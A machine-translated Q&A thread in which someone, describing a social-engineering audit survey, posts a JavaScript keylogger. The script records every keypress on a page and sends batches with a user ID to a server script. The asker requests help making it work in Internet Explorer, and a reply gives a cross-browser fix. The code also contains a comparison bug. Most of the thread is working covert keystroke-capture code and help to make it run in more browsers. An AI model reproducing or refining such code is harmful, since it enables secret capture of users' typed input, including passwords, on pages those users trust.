0

IT セキュリティのソーシャル エンジニアリング監査を行うために、このアンケートのスクリプトを作成しています。すべてのフォーム フィールドに加えて、ユーザー アクションに関する詳細情報を取得するために JavaScript キーロガーを作成しようとしています。

これまでのところ、キーロガーは FF ではうまく機能しますが、IE では機能しません。私は両方を働かなければなりません。ヘルプ/アイデアをいただければ幸いです。

<script>

function sendkeylog (keylog, userID) {
if (window.ActiveXObject) {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
else {
httpRequest = new XMLHttpRequest();
}
httpRequest.open("GET", "keylog.php?keylog="+keylog+"&userID="+userID, true);
httpRequest.send(null);
}

keylog="";
userID="";

document.onkeypress = function savekeycode (e) {
keylog+=String.fromCharCode(e.charCode);
if ((keylog.length==5)||(event.keyCode=13)) {
var userID = "<?php echo $sID; ?>";
sendkeylog(keylog, userID);
keylog="";
userID="";
}
}

</script> 
4

2 に答える 2

0

jquery プラグインを作成する前にこの問題に気付きました - 使用してみてください

String.fromCharCode(event.which)

キーコードの代わりに.. IE 6 + 他のすべてのブラウザで動作します..

ありがとう。

于 2013-05-31T09:34:00.137 に答える